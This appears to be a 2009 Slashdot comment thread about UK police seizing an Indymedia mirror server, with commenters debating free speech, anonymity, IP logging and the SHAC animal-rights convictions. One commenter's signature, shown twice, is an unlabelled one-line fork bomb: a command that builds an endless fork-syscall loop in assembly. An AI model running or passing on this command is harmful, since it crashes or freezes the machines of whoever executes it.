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Indymedia Server Seized By UK Police, Again
timbrown writes with word that "On 22 January 2009, Kent Police seized an Indymedia server hosted by Manchester-based colocation facility UK Grid and run by the alternative news platform Indymedia UK. The server was taken in relation to comments on an article regarding the convictions in the recent Stop Huntingdon Animal Cruelty (SHAC) trial. Seven activists were sentenced to a total of 50 years in prison."
The complete story is worth reading; timbrown continues: "I'm posting this as a concerned UK administrator who hosts a number of sites. The message appears to be clear: the UK establishment does not want political content, legitimate or otherwise, hosted from these shores. The message has been noted, however free speech must be supported even where it may not be agreeable."
freedom of speech..
btw I run a site along the lines and I have an interesting setup, the database server is in one country and the web frontend is in another with secure tunnel between so if someone does a traceroute to the site and then goes datacenter and pulls the server out of rack all they get is a proxy, its far from perfect but at least the database is safe
This bugs me. Freedom of the press is a vital tennet of our society, and it needs to be protected vigourously by everyone both inside the media and out. Without it we would have no way to stand up to the sort of tyranny that is all too common in countries where people aren't free.
Which is why I think Indymedia should shut the hell up in this case.
What does this have to do with freedom of the press? The name, address and other details of a judge were posted on an Indymedia site and mirrored to this server. That's not journalism. Trying to claim that the police investigating it is an infringement of the free press just undermines the real press and makes otherwise rational people wonder if freedom of the press is really important after all.
Other people's private personal information is not "political content".
http://twitter.com/onion2k
In the UK I have been seeing how a 1984 situation is being established:
1) Speed cameras to the wahzoo....
2) Camera's to watch people to the wahzoo...
3) Rights being taken away and people sent to jail on issues that would otherwise seem "ludicrous.."
It has been proven that the cameras do squat to stop crime. Yet there they are and more are coming. Why? It is an issue of the establishment in the UK wanting to control the people. 1984!
The result of Indymedia and the posters is a direct reaction of the restrictions. No more no less...
All that has to happen in the UK is that they start loosening up! Though I doubt that will happen, until a "revolution" occurs. You might think it is funny and cannot happen. I on the other hand say, sure it can happen, but we have gotten so used to "law and order" that we think it cannot happen.
"You can't make a race horse of a pig"
"No," said Samuel, "but you can make very fast pig"
I know everyone is going to jump up and down about the right to free speech, but that isn't really the topic here.
The police regarded the comment as an implicit threat to the trial judge, which would not come under "free speech" laws in many (most?) countries.
They seized a *mirror* of the main server (the main site is still up a running just fine), in order to try to trace the original poster, and requested that the comment was removed from the site, which it has been.
The main issue I see here is one of oversight, who's there to check that the police only look for forensics on the original poster, and don't start a fishing expedition on the seized server?
On the flip side.
I run a website explaining photography, I provide links to loads of other photographs sites but I get loads of hits on my site because of a lens I reviewed a few months back. It isn't even a professional review, just me explaining my new lens type of review but with loads of pics. Next to the lens review link is another page with details for photographers explaining their civil rights as photographers to what they can and can't do with cameras. Since it's been up, 5 people have clicked the link.
I guess people are just not interested and want their head in the sand or they know their rights?
Jonathanjk.com
I have no problem with the police taken the action they have, far from using their powers to "repress" anyone they are taking appropriate action to prevent groups like SHAC from harassing people, blackmailing them and generally making their lives a misery.
In the article linked to in the header they are 'concerned' that the police have been instructed by their political masters to clamp down on anyone daring to threaten 'the corporations'. The author has obviously totally missed the point that primarily the activism isn't targetted at 'corporations' but at individuals who happen to work at them. It's usually not the 'corporation' which is branded as a paedophile in a leaflet campaign in it's neighbourhood, it's not the 'corporation' who has masked terrorists driving around his house at night shouting abuse and making threats and it's not corporations whose dead relatives are dug up and then held for ransom. Usually it's a delivery driver, admin assistant anyone who is unlucky enough to be targetted by these groups.
I personally would not want to be relentlessly attacked in this matter because some random group of nutters took exception to something the company I worked for is involved in and I welcome any attempts by the government or the police to stand up and do something about it.
This happened in 2004 http://www.theregister.co.uk/2004/10/08/fbi_indymedia_raids/ - FBI confiscated its servers in London (how the hell does that work, then? US law enforcement in the UK?) based on comments on the G8.
It also happened in 2005: http://www.theregister.co.uk/2005/06/28/indymedia_server_seizure_bristol/ in Bristol, UK, again relating to the G8 conference.
The UK is a great model for the rest of the world if you're interested in the transition of a rather normal country into a total police state. Granted, it still has quite a distance to go, and there's other countries much worse off than England, but for a developed western country it is appalling. What was it I heard recently? Something like 80% of closed circuit security cameras are in London? It's really a shame, the UK has an amazing history, but today's politics are sending it in a totally skewed and destructive direction.
From the details available, it appears this may relate to information that could be used to threaten the judge in the SHAC trial, the trial of some pretty unpleasant and violent people http://news.bbc.co.uk/1/hi/england/7837064.stm.
"You updated a website protesting animal cruelty vs drug companies. Now we're gonna smack you with a conspiracy charge for 4.5 years in prison."
Try, "you were basically CIO of a terrorist organisation."
SHAC/ALF are not a group protesting animal cruelty. They are a bunch of anti science luddites hell bent on hurting scientists and engineers.
Obviously it can't be to trace the original poster (why seize a mirror, or anything at all since Indymedia does not log ips),
Well, yes, I agree the motivations of the police could partly be to put pressure on a "critical" organization. Putting a check on how eager the police are to investigate a crime like this would be part of the oversight I mentioned.
However, the point about the logs is irrelevant:
"No officer, there's no need to come into my house, even if someone had committed a crime, I keep it so clean there'd be no evidence in there"
If the police believe a crime has been committed, they *have* to investigate it fully, and not ignore potentially useful evidence just because someone else tells them so.
Please mod this up:
You could always make another internet to get away from the bullshit on the current one.
Freedom of the press does not apply to "journalists" only, because once you start applying it only to an arbitrary and subjective definition of "journalism", you now have a loophole the size of a galactic cluster.
It doesn't matter if it's CNN or little timmy's html experiments, if you kill people's websites and jail them for what they SAY, you are a tyrant!
VLC FOR MAC IS DYING! IF YOU DEVELOP, PLEASE SAVE IT!!
Is shared-hosting... and backups, off-site naturally.
In that case, if they seize the server, they are seizing my site... and the site of more then 1000 other hosted sites...
And with the backups, you are ready to just setup another host, and update everything in no time... ;)
Something people forget is that it isn't an unlimited right. Really, no rights are unlimited in a free society. Why? Well for you to have an unlimited right, implies that your right could infringe on my rights to some degree. For example suppose you had an unlimited right to speech. That would mean you could call for me to be killed. You could tell everyone that I should die, explain how best to kill me and so on, and I've have no recourse. You could lie about me continuously to people I care about in an attempt to harm me, you could harass me at every opportunity, and so on. While you having no limits to your right might make you more free, it would make me less free. In fact you find that the only place where people have near unlimited rights are dictatorships. The dictator has the right to do basically whatever they want. However that comes at the expense of more or less everyone else.
Thus in free societies we have to have some limits to rights. We can't have a situation of "You do whatever you want." It has to be more along the lines of "You can do whatever you want, so long as that doesn't interfere with other people." Thus we get laws that restrict rights to an extent. You can say what you like, but not if you are threatening others. You can own all kinds of property, but you can't own other people. You can burn a flag but you can't burn your neighbor's flag and so on.
So people need to get over this idea that you can just say whatever you want and there are never any consequences. No, not the case. You can say a whole lot, speech is one of the most permissive rights in most free countries, but there are limits. A threat would certainly be a limit just about everywhere.
Any time you see a limitation like that, and you think it is unfair, ask yourself how you'd feel if you were on the receiving end. If your life was being threatened, would you be ok with that, or would you then want the person threatening you arrested? Because remember: You can't have it both ways. It can't be ok for you to do it to someone else, but not someone else to do it to you.
Freedom of the press does not refer to journalism at all. It refers to the right to print and disseminate written works. It's for pamphlets and comic books just as much as it is for a newspaper. Referring to journalism as "The Press" is just metonymy (using their tools to describe their profession) and is not in fact what a press actually is. Journalism is protected by both free speech (the freedom to say something) and free press (the freedom to print and disseminate).
The idea that you must somehow be a "legitimate" journalist to benefit from freedom of the press is patently absurd and further more is dangerous in that you are willingly giving up not only your own freedoms but others' as well in your attempt to redefine the majority of the population as no longer having rights they should.
They sent death threats, they posted leaflets saying people were paedophiles, they phoned in bomb threats. This isn't just protesting, this is terrorism (and no that's not misusing the word, they're trying to achieve political goals by violence and spreading fear).
Democracy per definition demands tolerance to non politically correct views and beliefs. Democracy cant exist without totally free speech since whats forbidden today is totally ok tomorrow. Just step back twenty years and there is plenty of stuff that was forbidden to talk about then thats just plain PC nowadays.
A democracy without free speech is just a scam and not a single bit better than communism, nazism, monarchy or dictatorship. I hate it when people try to redefine free speech to be some quasi-free expression where you can only express politically correct stuff and nothing else. Thats not free speech at all.
HTTP/1.1 400
Sounds like the police turned up without a warrant, asked the people running the hosting company, and they just handed it over.
Not a "freedom of speech"/"police"/"big brother" issue. More of a "watch out who hosts your servers".
If I had hosting with that company, I would remove it immediately for that.
SHAC members [...] threatened people with violence and otherwise intimidate people, they'd print out leaflets saying that contractors working with Huntington animal research were paedophiles and put them through their neighbours letter boxes.
Christ, John Grubor did worse than that to me back when he was ranting his way through Usenet. It never even occurred to me to call in the cops. We're talking tens of thousands of hate messages. I should have demanded Google's servers instead of just asking them to turf the spam?
If the site doesn't log IP addresses, then it doesn't log IP addresses. A mirror of the site will *certainly* not have IP addresses on it even if the original server did... so this doesn't seem to have been taken to gather information, it was taken to punish them for not being able to provide the IP address of the poster. And the expectation that the IP address *would* be logged because there's an EU directive requiring it is disturbing.
SHAC/ALF are not a group protesting animal cruelty. They are a bunch of anti science luddites hell bent on hurting scientists and engineers.
I don't understand why you keep saying this. Do you have any proof that these people target scientists and engineers outside of fields that involve animal testing?
P.S. Read up about the Luddites sometime. They weren't anti-technology for its own sake, but rather because it took away people's livelihood.
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
The toughs now in jail were not even bright enough to harass employees of the company doing the animal testing. They were not even bright enough to harass employees of companies doing business with them.
They would find names of big conglomerates doing business (in ways that often were extremely derivative, like messaging companies), choose a company from the group (that had nothing to do with animal testing) and then start harassing lets say the janitor.
Anything the police does to put those individuals in jail should be applauded, freedom of speech has nothing to do with this,
IANAL but write like a drunk one.
Indymedia doesn't log ip numbers, there is nothing to obtain from the servers
If your posters are indulging in a campaign of intimidation against scientists and judges, not logging IP numbers is not a morally neutral choice. I also wonder what the legal implications are of knowing an IP address and deciding not to record it.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They seized a *mirror* of the main server (the main site is still up a running just fine), in order to try to trace the original poster.
Yet the original poster can not be retrieved from the "mirror" (or from the main site for that matter).
Thanks to your insight, I have developed a foolproof method for the Perfect Crime:
1) Commit crime
2) When the police ask you whether or not anything in your possession implicates you in said crime... (and here is the genius bit): tell them "NO!"
3) !!!!
4) Profit!
"Wise men talk because they have something to say; fools, because they have to say something" - Plato
Indymedia have never given the full story about anything. They're well known for just putting whatever point of view they want across whilst berating mainstream press for being biased. The hypocrisy in Indymedia is unsurpassed.
I only please one person per day. Today is not your day. Tomorrow isn't looking good either. - Scott Adams
Kent Police had e-mailed imc-uk-contact in the morning requesting that personal information about the Judge from the recent SHAC trial in the UK be removed from the site. However this information had already been quickly removed in line with IMC UK policy. The e-mail also requested information relating to the poster be retained. Indymedia as an open posting news service does not log such information about its sources.
The machine was handed to the Police by the management of UK Grid, a Manchester based colocation facility, without a warrant being shown. It is believed that a warrant for this one server may exist and have been issued by a Chief Inspector. As the server was a mirror of the site, it can be concluded that the validity of the seizure wasn't checked, and the police attacked Indymedia infrastructure in the UK.
...
Andy Robbins, the cop whose name is on the document posted here, is the main person behind the repression of Stop Huntingdon Animal Cruelty (SHAC) over the past few years.
How about setting up a server that does not keep logs, allowing the SHAC to post on it and then claiming the whole operation was part of "the repression of SHAC"?
They've also blocked out the UK Grid's contact name on the warrant and left Andy Robbins' name readable despite their privacy policy.
Even though you and I think SHAC is odious, it seems like it's pretty clear where their sympathies lie. And that's the reason they have legal troubles.
Imagine if a right wing website hid anti abortion, KKK or Neo Nazi terrorists' identities from the police like this? Indymedia may not be terrorists themselves, though one Indymedia activist was arrested on suspicion of criminal damage, but they're clearly acting as a forum for them.
Seems like if they want to stay in business they need to both disown these people and help the police trying to catch them.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Hozza, thanks for explaining that.
But so what. I have a business, and we allow people to post messages in a mostly anonymous way. Kinda like a big corkboard outside a grocery store where anyone can post a flier. If someone posts something illegal, the government shouldn't be allowed to take the wall because we already pressure washed the fingerprints off.
The grocery store should not have to keep a record of every person that may potentially post an illegal message. And a website should not be subject to search and seizure because of an anonymous post. We the people do not want to be tracked all the time. We want anonymity. Anonymity cannot be stopped.
This article makes me imagine a scenario like this:
Cops: Give us your surveillance tapes.
Business: We have no security cameras, or tapes.
Cops: We will decide who has cameras or not by seizing everything in your business indefinitely.
How many more years will slashdot have an off-by-one error on your Score in your profile?
They did act responsibly. They removed the offending post as soon as they became aware of it and BEFORE they were contacted by the police.
It is important to be clear about how Indymedia differs from other news organisations. Indymedia provides a platform for people to speak freely at the same time as guarding their anonymity. It does this on principle, and its systems are configured to promote this by not recording IP addresses. See http://www.indymedia.org.uk/en/static/security.html and http://www.indymedia.org.uk/en/static/privacy.html
The question is whether _this_ freedom should exist and be defended and if so, what limits should be set on that freedom.
I think the freedom is worth defending. Certainly if you live under a repressive government, this capability may be essential to protect people who want to report on that repression. Whether the UK is or is not repressive is disputed, but if this freedom is defended, it makes it harder for it to become repressive. For this reason, Indymedia should be free to provide the service that they offer without unreasonable interference - they should also have a duty to behave responsibly.
The downside of this open publishing approach is that the platform might be abused by some in ways that threaten the rights and freedoms of others (as in this case). There is a need to moderate and remove abusive content. Indymedia acted promptly to remove the offending post.
If Indymedia should be free to operate as they do (no-one has brought legal proceedings against their right to work in this way), and they behave responsibly in terms of moderating abuses (which they have), then they should be allowed to do so without interference.
I have no sympathy for SHAC, but I am glad that some people give up their time, energy, money and equipment to enable our right to free, anonymous 'speech'. I think these volunteers deserve similar protections against interference as do commercial journalists and publishers.
If someone posts something illegal, the government shouldn't be allowed to take the wall because we already pressure washed the fingerprints off.
Says you, but how would the police know that you actually did this or actually know how to make it forensically "clean"? They don't and therefore should examine that cork board. They'd be negligent if they didn't.
The grocery store should not have to keep a record of every person that may potentially post an illegal message. And a website should not be subject to search and seizure because of an anonymous post. We the people do not want to be tracked all the time. We want anonymity. Anonymity cannot be stopped.
No, they shouldn't, but they should also be prepared to have their board examined if someone does post an illegal message.
This article makes me imagine a scenario like this:
Cops: Give us your surveillance tapes.
Business: We have no security cameras, or tapes.
Cops: We will decide who has cameras or not by seizing everything in your business indefinitely.
Now imagine this one:
Cops: Can we inspect your hunting knife? We suspect it was used in a murder.
Murdering bastard: I have no knife! You're mistaken.
Cops; oh, OK, sorry to have bothered you Sir.
The police have to follow up on potential evidence or they'd just be taking every bodies word for it.
the police still have to obtain a warrant to seize property without the owners consent. A scenario like yours requires the judicial system to become completely corrupt (yes, yes, people already say it is but many judges still believe in the law) and when that's happened we've got more problems than property seizures.
Silly rabbit
This is something I never get about animal rights protesters. They always want to equate some animals life with a human's life. Sure, you fight and even go to war to save unjustly taken human life but declaring a dog or cat's life to be equal to that of a human's is a but ridiculous.
Can you explain to me why you think animals deaths are just as valid as the Jews who were killed? Or are you just pointing to extremes without thinking it through? Because I don't consider any animal's life to be close to that of a human's. Most normal people would risk death to save an unjustly endangered human life given the situation but I don't know anyone who would do the same unless it is a pet or something they have a personal attachment to. Don't you think they are a litter but different situations?
Andy Robbins is a police officer, he's not (normally) entitled to privacy as regards being identified in connection with his work as a police officer. The British Police Force is not quite the STASI yet.
You think SHAC is odious, GP thinks SHAC is odious, I think SHAC is odious. Perhaps Indymedia doesn't think they're odious, the fact that you condone the police harassing them (and causing damage to their operation that costs real money to put right) because of that viewpoint is the exact problem that GP is complaining about.
FGD 135
It's not about equating two lives, it's about giving each life equal consideration.
To any animal, human or non-human, their life is the only one they have and they will fight for it.
Animals clearly are capable of suffering. Is it right that we make them undergo things like the barbaric tortures and brutal killings in factory farms just so we can enjoy the taste of their flesh?
I don't think so, and I think anyone who feels the need to flippantly disagree should think deeply about why that is.
When it comes to anti science terrorism I'm prepared to give the police the benefit of the doubt until I hear evidence otherwise.
What's with all this "anti-science" nonsense?
Where does it say to be pro-science you need to believe in the torture of animals?
I'm a pro-science as anyone, and I think anyone who denies the blatantly obvious fact that animals are sentient beings that feel pain is clearly putting their own prejudices and bigotry before scientific reality.